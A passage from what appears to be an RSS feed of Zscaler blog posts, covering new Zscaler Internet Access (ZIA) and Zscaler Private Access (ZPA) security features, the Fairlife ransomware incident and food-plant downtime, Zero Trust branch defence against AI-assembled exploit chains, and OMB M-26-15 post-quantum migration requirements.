a suspect file through the same engine that makes inline decisions.We also widened what the sandbox can take: EXE and DLL analysis up to 200 MB, and macOS DMG support.JA4 Fingerprinting (Encrypted Traffic Analysis): Certain endpoints such as OT controllers, medical devices, or services with pinned certificates cannot be decrypted. Using&nbsp;JA4 fingerprinting of the TLS handshake, ZIA models baseline communications. When a device that has behaved like a camera for months suddenly negotiates a session characteristic of a command-and-control framework, alerts fire immediately without needing plaintext decryption. This feature is generally available for Zscaler customers.&nbsp;5. SOC Empowerment and ProvenanceThe standard architecture for SOC context is reassembly: EDR, firewall, SWG, NDR, identity and cloud each emit telemetry, and a SIEM correlates it after the fact. Correlation works, but it costs time and it's lossy, i.e. you're reconstructing a single event from artifacts several systems produced independently.Endpoint Context leverages Zscaler’s vantage point in the end-to-end network to change this. Application, process and vulnerability insight from the endpoint feeds directly into detection and enforcement, so the context is attached to the transaction rather than joined to it later. This isn't a reporting improvement; it produces detections that don't otherwise exist.A concrete case:&nbsp;chrome.exe running from a directory it has no business running from, unsigned, with an unknown version, opening a remote connection. No individual signal there is conclusive, and nothing in the packet stream is anomalous. Together they're enough to generate a new IPS signature and block it. A control that only sees the network cannot make that call, because the evidence isn't on the network.The same endpoint intelligence, drawn from 50 million-plus endpoints, has improved command-and-control detection. Our C2 model previously leaned on URL and domain reputation. It now incorporates endpoint-derived context, and we've moved to rate-based C2 detection rather than purely pattern-based, which has reduced false positives noticeably. Living-off-the-land techniques and commodity C2 frameworks such as Cobalt Strike are the primary beneficiaries.AI/ML Detection Attribution: Every alert explicitly identifies the specific underlying model, heuristic, or detection engine responsible for the verdict. Security teams gain transparent auditability rather than opaque "black-box" scores.Closed-Loop MDR &amp; NDR Enforcement: Continuous traffic capture from ZIA to NDR partners like Vectra, ExtraHop, and Corelight improves SOC maturity for incident hunting and early lateral movement detection using rate, anomaly, and heuristic algorithms, significantly enhancing SASE visibility when combined with ZPA traffic. Here is a quick status update on our core NDR integrations:Vectra : Generally Available for AWS S3 environmentsExtraHop :&nbsp; Generally Available for AWS S3 environmentsCorelight : Private preview is active, with public preview scheduled by the end of the yearPart 2: What’s New in Zscaler Private Access (ZPA)While ZIA secures outbound access to SaaS, the web, and external AI models, ZPA governs access to internal crown jewels: proprietary private applications, private AI clusters, and hosted environments.Legacy connectivity models rely on VPN tunnels that terminate external users directly onto internal networks. If an endpoint is compromised, attackers gain unfettered lateral traversal. ZPA fundamentally inverts this model: users and entities are connected strictly to authorized applications, never to the underlying network.At ZenithLive, we introduced key capabilities to automate segmentation, secure unmanaged endpoints, and virtually patch internal vulnerabilities.1. Zscaler Autonomous Application Shield: Machine-Speed Defense for Private ApplicationsFrontier AI models have fundamentally altered the economics of exploitation, compressing the window from CVE disclosure to weaponized, chained exploit from weeks to hours. Yet enterprise remediation remains trapped in human-speed patch cycles, testing windows, and change boards. Autonomous Application Shield is an AI-driven capability natively integrated into ZPA that shifts private application security from reactive ticketing to continuous, autonomous protection:Continuous Posture: App Connectors safely and continuously assess application exposure points, APIs, and runtime risk, replacing periodic scans with a living, real-time security posture.Context-Aware Reasoning: The Zscaler cloud evaluates each application's unique architecture and observed traffic, applying only relevant, targeted protections to preserve performance and eliminate false positives.Global Threat Intelligence: Zero-days and novel attack vectors observed across Zscaler’s global exchange instantly inform and sharpen protection policies worldwide without manual tuning.Pipeline-Speed Virtual Patching: Defenses adapt dynamically as developers push code, deploying automated virtual patches at the App Connector boundary in minutes—neutralizing exploits before a permanent code patch can even be scheduled.Autonomous Application Shield is now open for early access.&nbsp;&nbsp;2.&nbsp;Comprehensive Access Visibility with Autonomous User-to-App SegmentationMost organizations actively manage only their crown jewel applications, leaving the vast majority of internal services and dynamically provisioned cloud workloads unmapped, poorly documented, and dangerously exposed behind overly permissive wildcard application segments (*.internal, *.corp). Traditional network segmentation projects fail because manual traffic analysis and static firewall rules cannot keep pace with modern hybrid cloud velocity.Autonomous User-to-App Segmentation eliminates this blind spot by automating the entire policy lifecycle:1. AI-Driven Automation: Application Fingerprinting and ZPA AgentApplication Fingerprinting: Leveraging machine learning algorithms trained across global enterprise telemetry, ZPA now automatically identifies, categorizes, and labels internal applications based on operational behavior and traffic patterns.Interactive ZPA Agent: Administrators can query complex deployment telemetry using plain language to gain visibility into underlying data alongside interactive telemetry, streamlining audit readiness and troubleshooting workflows.&nbsp;&nbsp;2. See Every Application (Continuous Discovery &amp; Inventory)Passive, Agentless Workload Sensing: Continuously senses and catalogs all active private workloads across on-premises datacenters, public clouds (AWS, Azure, GCP), and OT/factory environments without requiring intrusive endpoint scanners or complex network re-architecting.Surface Hidden Shadow Services: Detects untracked microservices, legacy internal web tools, and uncataloged container endpoints that typically evade standard configuration management databases (CMDBs).Expose Wildcard Risk: Automatically flags overly broad application definitions and wildcard domains that grant excessive IP reachability, giving security teams an authoritative, real-time baseline of their actual attack surface.3. Segment with Intelligence (AI-Powered Policy Recommendations)Behavioral Traffic Analysis: Analyzes historical and real-time user-to-application communication patterns, user identity groups, and transaction behaviors using advanced machine learning models.Automated Least-Privilege Rules: Automatically generates discrete, application-specific segment definitions and context-aware access policies, systematically replacing flat network access with precise, 1:1 micro-tunnels.Frictionless, One-Click Deployment: Allows administrators to review, test, and apply recommended policy boundaries in minutes rather than months, eliminating the risk of business disruption or broken application dependencies.4. Strengthen Security Posture (Posture Governance &amp; Actionable Insights)Continuous Relationship &amp; Dependency Mapping: Visualizes real-time communication pathways between user groups, third-party contractors, and application workloads to detect anomalous access trends or permission drift.Quantifiable Maturity Tracking: Feeds directly into maturity metrics (such as the ZPA App Segmentation Index), evaluating discovery velocity, policy effectiveness, and operational hygiene so teams can track quarter-over-quarter progress.Proactive Attack Surface Reduction: Delivers ongoing, prioritized recommendations to retire dormant policies, tighten access entitlements, and eliminate emerging vulnerabilities before threat actors can exploit them.Ensuring users and compromised devices are connected exclusively to specific, authorized applications, never to the underlying corporate network. This drastically shrinks the breach blast radius. This approach halts lateral threat movement while automating the labor-intensive tasks of application mapping and firewall rule maintenance, which frees security and network engineering teams from endless manual triage. Ultimately, it compresses segmentation deployment schedules from multi-year infrastructure overhauls into a rapid, phased, data-driven rollout with measurable executive reporting, accelerating Zero Trust time-to-value.Autonomous User-to-App Segmentation is available now.&nbsp;&nbsp;&nbsp;&nbsp;3. Secure Cross-Company Collaboration: B2B FederationModern business depends on ecosystem partnerships, from joint ventures and supply chain relationships to mergers, acquisitions, and divestitures. Yet connecting partner users to private applications today means accepting network risk: site-to-site VPNs, shared credentials, and firewall rules that create exactly the lateral movement exposure Zero Trust is designed to eliminate. What makes it worse, this process typically takes months to set up.ZPA B2B Federation changes that. Enterprises can onboard a partner and provide Zero Trust access to private applications in under 30 minutes, without site-to-site VPN tunnels, complex routing tables, or cross-tenant network exposure.Core deployment scenarios include:External Partner Connectivity: Onboard third-party contractors, vendors, and distributors quickly and securely. Partner users get authenticated access only to the applications they need, with Zero Trust policies enforced end-to-end, no network connectivity, no lateral movement risk.M&amp;A Integration and Divestitures: Deliver immediate Day-1 access to essential ERP, HR, and productivity platforms without consolidating networks or merging identity infrastructures. Offboarding requires only a swift policy adjustment.Multi-Tenant Enterprise Deployments: Large enterprises with multiple ZPA tenants can use Federation to simplify app sharing across parent companies and OpCos, while each unit retains control of its infrastructure, applications, and access policies.Federal and Cross-Cloud Environments: Facilitate secure resource sharing across FedHigh, FedMod, and commercial instances without interconnecting physical networks or violating regulatory mandates.&nbsp;&nbsp;4. Securing the Unmanaged Endpoint with Zero Trust Browser Extension for ZPAThird-party contractors, supply chain partners, and BYOD employees frequently require access to sensitive internal systems without having full device management profiles installed:The Zero Trust Browser Extension establishes an isolated, enterprise-controlled workspace directly inside modern web browsers.It enforces deep runtime data-loss prevention, blocking keystroke loggers, screen capture utilities, and clipboard copying.Device posture checks are evaluated locally, ensuring unmanaged endpoints cannot be leveraged as attack vectors into corporate resources.Standalone and hardened Enterprise Browser is also available as an alternative form factor.Zero Trust Browser Extension is available now.&nbsp;The Strategic Path ForwardWhen reviewing your cybersecurity roadmap, the most critical metric is not the sheer count of point products deployed or how many firewall policies are active.The question every executive and security architect should ask is:What percentage of our traffic actually receives an inline, deterministic Zero Trust verdict?If your outbound inspection cannot parse modern streaming protocols, negotiate post-quantum handshakes, or render instant verdicts on files, critical traffic is silently failing open. And if your private applications remain reachable via public IPs and routable VPN connections, an attacker compromising a single user or contractor endpoint can traverse laterally to your data.By combining the real-time inline threat engines of Zscaler Internet Access with the cloaking and autonomous segmentation of Zscaler Private Access, organizations establish a unified Zero Trust fabric. Attacks are stopped cold inline, critical internal workloads remain entirely invisible to the outside world, and enterprises can safely adopt AI and modern cloud architectures at scale.&nbsp;Learn how you can protect your enterprise in this AI-era by visiting our&nbsp;ZenithLive 2026 on-demand event.]]></description>
            <dc:creator>Joby Menon (SVP, Product Management | Zscaler)</dc:creator>
        </item>
        <item>
            <title><![CDATA[Fairlife Had Eleven Days of Runway. Most Food Plants Can’t Buy a Shift.]]></title>
            <link>https://www.zscaler.com/jp/blogs/product-insights/fairlife-had-eleven-days-runway-most-food-plants-can-t-buy-shift</link>
            <guid>https://www.zscaler.com/jp/blogs/product-insights/fairlife-had-eleven-days-runway-most-food-plants-can-t-buy-shift</guid>
            <pubDate>Fri, 25 Sep 2026 21:18:08 GMT</pubDate>
            <description><![CDATA[Black Kite counted 1,183 publicly disclosed ransomware victims in manufacturing in the first seven months of 2026, up 39.7% on the same period last year and already more than in all of 2023 or 2024, and its manufacturing report has ranked the sector the most-attacked industry for five consecutive years. Nearly half of this year's victims were hit by groups absent from the data in 2023 and 2024, some of them rebrands, so newcomers are&nbsp;arriving with the playbook already learned.Black Kite's research chief describes that playbook plainly: one attack can stop production, and every hour of downtime strengthens the attacker's hand, which makes time the thing the attacker is really holding.In most manufacturing, the clock that matters is how long the business can absorb a stopped line. In food and beverage, the clock is printed on the product, and attackers have noticed: the Food and Ag-ISAC&nbsp;counted 227 ransomware incidents against food and agriculture through July, up 62% on the same period last year.This summer's Fairlife incident looked like a disaster in the headlines, and why it wasn't one tells food manufacturers more. What follows is a composite of how these events tend to run, not any one company's timeline, with the facts Coca-Cola disclosed about Fairlife as the bookends. T+0: the alert is in ITRansomware is confirmed on enterprise hosts, and nothing on the plant floor has changed. Lines are running, products are moving, and the first question on the incident bridge is the obvious one: what else did they touch?On July 16,&nbsp;Coca-Cola disclosed in an SEC filing that Fairlife had identified unauthorized access to a portion of its systems, "including its production-related systems," in connection with a ransomware event. Production was suspended at all four US plants, while Canadian production was not affected and product quality and safety were not impacted. Coca-Cola has not said whether anything on the plant floor was reached, which is the shape of most public disclosures. T+2 hours: the question nobody can answerBetween the office and the line sits a layer both sides trust: the MES, recipe management, batch records, quality and lab systems, label printing, and the warehouse system that decides what ships. Every one of them is a Windows or Linux host, and a decade of Industry 4.0 investment connected them to the plant network on purpose.So the bridge question becomes: from the compromised segment, what can actually open a connection to an HMI, a line-side server, a controller, or the systems that write the batch record?In most plants the honest answer at hour two is "we don't know." Oscar Calderon, IBM's OT cybersecurity GRC leader,&nbsp;told Industrial Cyber in September that he has seen production stop when teams could no longer trust control systems, batch records, or quality data, with the equipment itself working fine. If the systems that write batch records and release holds might be reachable, stopping the line is the right call, made with almost no information. T+1 shift: the ledger startsThis is where food and beverage separates from the rest of manufacturing, because everything in the plant was on a clock before the alert.What is waitingWhat it is waiting onHow long it hasRaw inputs in receiving and silosThe line to restart. Raw milk, livestock and crops keep arriving, so lost days become destroyed raw material (Stuart King of AnzenOT, speaking to Industrial Cyber)Hours to a dayProduct in processA sequenced restart. "There is no such thing as a short outage" (King): product stuck mid-line and spoiling, systems reset, trucks at the dockThe shiftFinished goods in cold storageA release decision that needs trusted records. If the HACCP records for a production window are unverifiable, everything made in that window is presumptively suspect (King)Every day offline is a day off the shelf life you sellRetail commitmentsTrucks and shelves. Large retailers now treat cybersecurity and traceability as conditions of doing business (Calderon)Days, and the shortfall is on a shelf in public viewTrust in the systems that feed the lineSomeone to prove the attacker never reached themIndefinite, until provenThe attacker is counting on that last row, and the four above it are why a food plant was chosen in the first place. T+3 days: the negotiation is about datesBy day three the encrypted files matter less than they seem, because backups exist for those. There is usually a data-theft claim too; in Fairlife's case the Anubis group&nbsp;claimed a terabyte, and Coca-Cola&nbsp;confirmed that certain data was taken. In a food plant, the leverage that compounds is whatever goes out of date while the plant proves a negative.Jaguar Land Rover's September 2025 attack halted UK production for about five weeks, and on September 7 this year&nbsp;JLR announced about 4,000 job cuts amid the fallout. That is brutal, but a car does not expire in five weeks, while fresh milk cannot sit anywhere for one. T+11 days: most production resumesOn July 27, Coca-Cola said Fairlife had&nbsp;resumed the majority of production at its four US facilities and that retail availability had been "largely unimpacted, due to the availability of existing inventory." It did not expect a material impact, and the next day CEO Henrique Braun&nbsp;told analysts supply and consumer service had not been affected.From the attacker's side, that is a strange result: eleven days between Coca-Cola's first disclosure and its restoration update, at a brand Coca-Cola says grew from&nbsp;about $10 million to nearly $4 billion in retail value, and the ledger never reached the shelf.That outcome was engineered into the product. Ultra-filtration and higher-temperature pasteurization give Fairlife's milk&nbsp;a far longer unopened shelf life than conventional milk, and its protein shakes are shelf-stable. Enough finished product already in the channel, and a product built to sit on a shelf, gave Fairlife what most food manufacturers lack, which is runway measured in days. It also shaped the response: by Anubis's own account, Fairlife reported the incident rather than follow the instructions left on its network, a choice that is far easier to make while the shelves are still full.Now run the same eleven days at a fresh-milk bottler, a protein plant, a produce packer, or a bakery, where no inventory outlasts the outage. King made the point to Industrial Cyber: a dairy or protein plant with a difficult, sequenced restart takes days to come back regardless of how sophisticated the attacker was. Those are plants that cannot buy a shift, let alone eleven days.In most of these incidents, the length of the outage is not set by the malware. It is set at hour two, when the honest answer to "what can the compromised segment reach?" is "we don't know."Same eleven days. The plant stops on the top clock and pays on the bottom one. Recovery phases are illustrative, not Fairlife's disclosed timeline. What would have to be true at T+2 hoursA plant that cannot buy runway with inventory has one lever left, which is to shorten the outage. The fastest restarts will come from plants that can answer three questions before the incident, whatever the state of their backups.Reach. From a compromised host in IT, or in a supplier's network, what on the plant floor can be connected to at all? If the answer is "most of it," the shutdown decision was made years ago when the network was designed, and the incident is only collecting on it. Food and Ag-ISAC's Jonathan Braley notes that many OT compromises start in corporate IT and move laterally through weak segmentation.Dependency. Which production systems actually need a path to enterprise IT to keep running, and which have one only because the network was built flat? And where do the systems that write batch records and release holds actually live?Proof. Can you show, from records you already keep, what a given host has talked to in the last 30 days, so "we don't know" becomes "we know it never reached the line"?Four controls make those answers short.Segment every device.&nbsp;Zscaler Zero Trust Device Segmentation puts every production asset - controller, HMI, line-side server, vision system, and the MES, batch, and historian servers the line depends on - in a network of one, with no agents to install, no upgrades, and no downtime. A compromised host in IT gets no route to the line, which gives the reach question a one-word answer.Broker access instead of extending the network. OEM technicians, integrators, and your own engineers reach a specific controller for a specific session through&nbsp;Zscaler Privileged Remote Access, with no open RDP, SSH, or VNC ports on the plant, no network path between user and asset, and every session recorded, so the supplier's network never becomes an extension of yours.Let the policy be the dependency map. When every allowed IT-to-plant flow is a policy rather than an accident of addressing, the dependency list is the policy itself, and it exists before the incident, which is when the bridge needs it. Eaton has taken this model across&nbsp;more than 100 manufacturing facilities.Keep the flow record. The same platform discovers and classifies every device on the plant network and records the flows between them, so the proof question is answered from data collected before the incident.Ransomware may still land, but when the plant's dependencies sit inside a boundary you can prove, it lands in IT, the line keeps running, and&nbsp;the restart conversation is about the office. If batch records and release systems still live on the enterprise side, the dependency question is telling you to bring them inside first. Once they are, the ledger does not have to start, whether or not you have eleven days of inventory in the cooler.If you want to know what your own plants would answer at hour two, we run OT architecture workshops that start from your line-side dependencies and work outward:&nbsp;request an OT architecture workshop. &nbsp;Or hear from our customers directly on how they are leveraging Zscaler OT Security solutions in their own environments.]]></description>
            <dc:creator>Bryan Ashley (Zero Trust Networking, Principal Architect)</dc:creator>
        </item>
        <item>
            <title><![CDATA[How to Secure Branch Networks Against Machine-Speed, AI-Driven Cyber Threats]]></title>
            <link>https://www.zscaler.com/jp/blogs/product-insights/how-secure-branch-networks-against-machine-speed-ai-driven-cyber-threats</link>
            <guid>https://www.zscaler.com/jp/blogs/product-insights/how-secure-branch-networks-against-machine-speed-ai-driven-cyber-threats</guid>
            <pubDate>Wed, 23 Sep 2026 15:40:03 GMT</pubDate>
            <description><![CDATA[Anthropic’s&nbsp;Mythos disclosure in April confirmed what network security teams had been bracing for. A frontier model, without cybersecurity-specific training, autonomously discovered and wrote working exploits for thousands of zero-day vulnerabilities, including 181 against a single browser. Most importantly, AI was now able to assemble existing, individually unremarkable vulnerabilities into a working attack chain.That changed the meaning of the CVE backlog for network security teams.&nbsp;Firewalls, VPN concentrators, badge readers, OT controllers: each class of device has its own vendor, its own update process, and its own maintenance window. Some equipment cannot be patched at all — locked to vendor firmware, or running years beyond end of support. So teams triage by severity, fix what they consider critical, and let the rest pile up in the backlog.&nbsp;That way of triaging worked for as long as chaining those CVEs together required a skilled human attacker with plenty of time and patience. Mythos ended that era. The backlog has become the raw material of AI-composed attack chains that can assemble faster than a team can schedule a change window.The Cloud Security Alliance (CSA) has responded to this AI-based threat with their recommendations for getting "Mythos Ready", highlighting&nbsp;eleven priority actions. Most revolve around building the security program: governance, rebuilt risk models, a permanent VulnOps function. But several are about architecture, and those land squarely on the infrastructure that network security teams run every day: the edge devices, the site-to-site mesh, the branch inspection stack, and the change process.&nbsp;When the branch is&nbsp;built like a café, with every site connected to the internet and all connections proxied through the cloud-based Zscaler Zero Trust Exchange,&nbsp; AI attacks chains suddenly stop cold. There’s no attack surface to explore, and there’s no way&nbsp; for malware to move laterally.&nbsp; That model, built on Zero Trust principles, delivers on the architectural actions the CSA calls for. We can condense these into four core tenets:Hide,Contain,Inspect, andRespond.Hide: Remove the Chain’s Starting PointBy nature, legacy networks are inherently exposed to AI-based attack chains. Every branch firewall, VPN concentrator, and SD-WAN appliance with a public IP sits in scanning databases anyone can query, announcing what it is and what version it runs. That identifying detail (vendor, model, and software version) is the device's fingerprint, and it tells an AI attacker exactly which CVEs your team has not fixed yet. The attacker then lines them up one by one, starting with whatever gets it in the door. The next flaw lets it read something it should not, and then a third raises its permissions. Each can be a moderate vulnerability that typically belongs in the backlog, but by exploiting them in sequence, the AI attacker can gain control of the appliance and spread from there.What Zero Trust Branch changes: branch connectivity is outbound-only to the&nbsp;Zero Trust Exchange. No inbound listener, no DNS record resolving to the site, no port that answers a probe. A scan returns no fingerprint, and without one, the attacker has no starting point to build a chain from. All devices and their CVEs are hidden from public view, preventing an AI attacker from finding a foothold to start the chain from.This directly aligns with CSA Priority Action #7 (Inventory and Reduce Attack Surface) by eliminating public reachability. Enforcing an outbound-only footprint also supports CSA Priority Action #4 (Prepare for Continuous Patching). When a device can be fingerprinted from the internet, every unpatched CVE on it is a race against an external attacker. When there is no fingerprint, your team patches on its own change window, not the attacker's timeline.Contain: Collapse the Blast Radius the Chain Depends OnHiding the branch denies an AI attacker a starting point from the internet, but compromise can arrive other ways: a contractor laptop, a vulnerable badge reader, or a poisoned update to a site controller. Once the attacker is inside, traditional network-centric segmentation works in its favor. With access managed based on network subnets, a site-to-site VPN mesh allows every branch to reach every other branch's address space, making the routing table a map for the AI attacker. One compromised device can open a path to every other site and the data center behind them, putting unpatched devices across the estate within reach. At each site, the attacker bypasses legacy network boundaries to enumerate local devices, including the cameras, badge readers, and OT controllers your team cannot patch, testing each one at machine speed.What Zero Trust Branch changes:&nbsp;legacy network-centric segmentation is replaced with software-defined, agentless microsegmentation at the branch edge. The Zero Trust Exchange brokers every connection between users and devices to authorized applications. A compromise in one branch cannot spread to another location. Within the branch, agentless microsegmentation isolates every device into a software-defined "network of one" without requiring complex VLAN redesigns or endpoint agent installations. If an exposed IP camera is compromised, microsegmentation instantly collapses the blast radius—preventing lateral movement and leaving the attacker with nowhere to go.This is the approach CSA Priority Action #8 (Harden Your Environment) calls for, using deep segmentation to limit how far an intrusion spreads once it lands. When each device is isolated, a compromise stays a single-device incident, and the equipment your team cannot patch no longer puts the rest of the estate at risk.Inspect: See the Chain While It Is Still Being AssembledContainment limits where an attacker can go, but they still have to communicate to finish the chain. The attacker reaches out to the internet, pulls down tools, and establishes command-and-control channels, producing traffic with each step. At most branches today, this traffic is inspected by the same local hardware appliance that routes it, and performing full SSL/TLS decryption is a heavy computational burden. When traffic spikes during a backup window or a video-heavy afternoon, the appliance runs out of CPU headroom. To keep the site working, sessions get exempted from decryption which quietly narrows inspection coverage, enabling the attacker's traffic to hide inside ordinary encrypted web sessions. This can persist for weeks inside a branch that falsely believes it is inspecting everything.What Zero Trust Branch changes: inspection moves off the branch appliance and into the cloud-based Zero Trust Exchange. Every flow is inspected, whether it comes from a user or device, and is never scaled back when a site gets busy so attacker traffic cannot hide inside encrypted sessions. Because the Zero Trust Exchange also inspects traffic across thousands of organizations, a threat pattern detected at one branch is immediately shared and blocked across all of them. By forcing every outbound request through this global security fabric, you systematically dismantle the communication channels the attacker needs to complete their chain.This is the other half of CSA Priority Action #8 (Harden Your Environment): egress filtering, which inspects traffic leaving the site to catch a chaining attack before it completes. When inspection is offloaded to the cloud, threat protection holds no matter how busy a site gets, allowing your team to disrupt the attack chain while it is still assembling.Respond: Policy That Moves at Machine SpeedAs inspection uncovers clear signs of an ongoing intrusion, response must take over immediately to stop the attack where it lies. Unfortunately, legacy response remains bottlenecked by manual, human-speed workflows—generating tickets, waiting for emergency change approvals, and logging into individual appliances. This operational latency is outmatched by autonomous, machine-speed AI threats, making every second of delay an open window for the attacker. That time gap is why an organization can have direct visibility into an attack and still be breached by it.What Zero Trust Branch changes:&nbsp;an automated incident response loop eliminates human latency from the defensive path. Security teams pre-approve response playbooks in advance. A confirmed threat signal triggers immediate containment through the Ransomware Kill Switch, completely bypassing triage delays, change approval windows, and manual site-by-site logins. Also, microsegmentation automatically isolates the compromised asset from all other local devices and remote sites by default. By instantly collapsing the threat's blast radius to a single device, this surgical response merges detection and containment into a single, unified event and ensures branch operations continue uninterrupted.This aligns with CSA Priority Action #10 (Build an Automated Response Capability) by enabling systemic, autonomous defense at the edge. When incident response relies on manual tickets and approvals, an AI adversary dictates the pace of the breach. By pre-authorizing automated response playbooks, you shift change control from a frantic, mid-incident scramble to a strategic, pre-built defensive move. Change control still happens, just before an incident rather than in the middle of one.An AI-composed attack chain needs four things: somewhere to land, somewhere to go, somewhere to take cover, and time to work.&nbsp;Your backlog can't take those away. Your architecture can.Zero Trust Branch Puts You in ControlYour team's ongoing triage of the backlog was the right move when chaining CVEs took a skilled human attacker acting at human speed. AI has removed that constraint, and patching faster is now a losing race against a machine. An outdated legacy architecture inherently opens you up to attack by providing the network pathways an adversary needs to build an exploit chain.Zero Trust Branch neutralizes these chains through four tenets that work as a single cohesive set. Hide takes away somewhere to land. Contain takes away somewhere to go. Inspect takes away somewhere to take cover. Respond takes away time required to assemble. An attacker needs all four conditions to finish a chain, and losing even one disrupts their progress. Removing all four ensures that your CVE backlog no longer presents a systemic risk to your enterprise.Connect with our experts for a tailored architectural walkthrough and see how Zscaler secures your distributed branch locations against autonomous AI threats.]]></description>
            <dc:creator>Josh Pederson (Senior Product Marketing Manager - Zero Trust Branch)</dc:creator>
        </item>
        <item>
            <title><![CDATA[What OMB Memorandum M-26-15 Requires for Your Agency&#039;s PQC Migration Plan]]></title>
            <link>https://www.zscaler.com/jp/blogs/product-insights/what-omb-memorandum-m-26-15-requires-your-agency-pqc-migration-plan</link>
            <guid>https://www.zscaler.com/jp/blogs/product-insights/what-omb-memorandum-m-26-15-requires-your-agency-pqc-migration-plan</guid>
            <pubDate>Mon, 21 Sep 2026 20:41:44 GMT</pubDate>
            <description><![CDATA[The clock is already running. Here's what compliance with EO 14412 actually demands and where agencies can't afford to miss a step.If you work in security or networking for a U.S. federal agency or a firm that holds federal contracts, Executive Order 14412 is no longer a future concern. It's a present operational mandate. And with OMB Memorandum M-26-15 now in effect, the transition from awareness to accountability is complete.This blog covers what you need to know about the OMB’s guidance so you can include the required information in your PQC transition plan, which is due to the OMB by October 22, 2026. Why EO 14412 Exists: The Threat Is Already ActiveBefore getting into compliance mechanics, it's worth understanding the driving threat model.EO 14412, "Securing the Nation Against Advanced Cryptographic Attacks," is built around one foundational problem: the cryptographic standards protecting federal data today will be broken by cryptographically relevant quantum computers (CRQCs). Some experts believe a viable CRQC could emerge by 2030.Adversaries are already executing "Harvest Now, Decrypt Later" (HNDL) campaigns. They're exfiltrating encrypted federal data today, stockpiling it with the intent to decrypt it once quantum hardware is available. Data with a long operational shelf life, including intelligence sources, health records, and financial instruments, is already compromised in this model. The deadline to act is not 2030. It's now.EO 14412 and the implementing guidance from OMB respond to this by shifting the federal government's posture from "we should plan to migrate" to "migration is policy, with named owners, hard deadlines, and enforceable consequences."Who Owns the Governance StructureEO 14412 establishes clear accountability at the top:OMB Director and the National Cyber Director jointly coordinate the government-wide migration.NIST, CISA, and NSA provide agencies technical implementation guidance.Each agency head was required to designate a PQC Migration Lead within 30 days of the order, a deadline that passed in July 2026.If your agency hasn't named a PQC Migration Lead yet, that is already a compliance gap.The Migration Lead isn't just a title. This individual owns accountability for the entire transition process and is responsible for coordinating across IT, cybersecurity, legal, procurement, and program offices. The cross-functional scope is intentional: PQC migration cannot be solved by the security team alone. OMB M-26-15: The Binding Implementation MemoIssued June 24, 2026, OMB Memorandum M-26-15 ("Execution of the Migration to Post-Quantum Cryptography") is the document that turns EO 14412 into operational requirements. It establishes expectations, timelines, and the structure of what agencies must produce.The first hard deadline it creates: every&nbsp;civilian agency must submit a comprehensive PQC Migration Plan to OMB and the Office of the National Cyber Director (ONCD) by October 22, 2026. That is 30 days from this blog’s publication date. (Note that M-26-15 does not apply to National Security Systems, which follow a separate migration track.) What Must Be in the Migration Plan: Nine Required ElementsM-26-15 defines what a compliant migration plan must contain. Based on the memo's requirements, here are the nine core components agencies must address:1. Governance and Named AccountabilityThe plan must document who is responsible for the transition. The designated PQC Migration Lead must be identified, with a clear governance structure that spans the CIO, CISO, program offices, and procurement. A plan that assigns cryptographic transition to a single team will not satisfy M-26-15's cross-functional governance requirement.&nbsp;&nbsp;2. A Complete Cryptographic InventoryYou cannot migrate what you haven't mapped. The plan must describe the methodology used to inventory every cryptographic algorithm, key, certificate, and protocol in use across the agency's systems and infrastructure. This inventory, often called a Cryptographic Bill of Materials (CBOM), must be:Comprehensive (covering applications, network infrastructure, SaaS, cloud services, and on-prem systems)Automated (not a one-time manual exercise)Continuously maintainedNote: CISA and NIST are expected to publish minimum-elements guidance for machine-readable CBOMs by March 2027. Agencies should build toward that standard now.3. Risk-Based System PrioritizationNot all systems carry equal urgency. The migration plan must include a risk-based prioritization framework that identifies which systems get migrated first. Mandatory first-priority categories include:High Value Assets (HVAs) as defined in OMB M-19-03High-Impact Systems (FIPS 199 "High" categorization)Any system storing or transmitting data with long-term sensitivity, the primary targets of HNDL attacks4. Phased Milestones Aligned to the Government-Wide ScheduleM-26-15 establishes a five-phase migration timeline. The October submission must map agency-specific milestones to the three migration phases within this five-phase schedule:PhasePeriodFocusPhase 12026–2027Strategy, planning, and discoveryPhase 22027–2028Pilots and early migrationPhase 32028–2030Prioritized migration (key establishment for HVAs and high-impact systems)Phase 42031Digital signature migrationPhase 52035Full migration of remaining systemsThe Phase 3 deadline is the one with the most regulatory weight: December 31, 2030 is the hard cutoff for PQC key establishment across HVAs and high-impact systems. M-26-15 also directs agencies to prioritize systems containing highly sensitive data and systems particularly vulnerable to CRQC-based attacks on that schedule.&nbsp;&nbsp;&nbsp;5. TLS 1.3 Deployment MilestonesAgencies must specifically address migration to TLS 1.3, consistent with existing mandates under EO 14306. The overall federal deadline for TLS 1.3 support is January 2, 2030. Your plan must include milestones for testing and deploying PQC-enabled TLS 1.3 within that window.6. A Cryptographic Agility ArchitectureThis is arguably the most technically demanding requirement. Agencies must describe an architecture designed so that cryptographic algorithms can be swapped with minimal operational disruption as standards evolve. Depending on the agency’s risk assessment and technical requirements, this can include:Supporting cryptographic modes that run PQC algorithms alongside classical ones during the transition period (so you don't break existing interoperability while hardening new sessions)Ensuring Hardware Security Modules (HSMs) and Key Management Systems are replaceableTreating crypto-agility as an architecture requirement, not a feature request7. Vendor and Supply Chain CoordinationFederal agencies don't operate in isolation — much of the cryptographic footprint runs on commercial software, cloud platforms, and contractor-managed systems. The plan must detail:How the agency will engage Cloud Service Providers (CSPs) under the shared-responsibility model1Contract language and procurement requirements that mandate vendor PQC readiness and cryptographic agilityHow the agency will assess and manage cryptographic vulnerabilities in the supply chainThe first FAR Council rulemaking, due December 19, 2026, is required to propose that covered contractors comply by December 31, 2030, with applicable NIST FIPSs, including PQC-compliant algorithms. A second FAR Council rulemaking, due March 19, 2027, is required to propose changes to contractor vulnerability disclosure program (VDP) requirements covering cryptographic vulnerabilities. Contracting officers and procurement leads should be tracking both of these closely.8. Resource and Funding EstimatesOMB expects agencies to connect PQC migration to budget realities. The plan must include estimates of funding and personnel required, integrated into existing IT modernization budgets and multi-year appropriations requests. Plans without resource estimates will not satisfy M-26-15’s minimum requirements.9. Risk Management During the Transition PeriodBecause full migration takes years, agencies must address how they'll manage security risk during the transition, specifically the period when some systems are migrated and others aren't. This includes interoperability between PQC and legacy systems, monitoring for exposure in hybrid environments, and defining acceptable risk posture throughout each phase. What's Happening on the GSA and DoW TracksThe civilian agency plan submission is the most immediate requirement, but two parallel tracks deserve attention:GSA has been directed to establish an inter-agency working group to modernize Federal Identity, Credential, and Access Management (FICAM) to support PQC. That group held its first meeting on August 12, 2026, with participation from 17 federal agencies and plans to meet on a bi-weekly basis. FICAM modernization has direct implications for how agencies manage identity verification, PKI, and digital signatures, all of which will require quantum-resistant cryptographic underpinning.The Department of War (DoW) is operating under its own PQC strategy, released June 23, 2026. 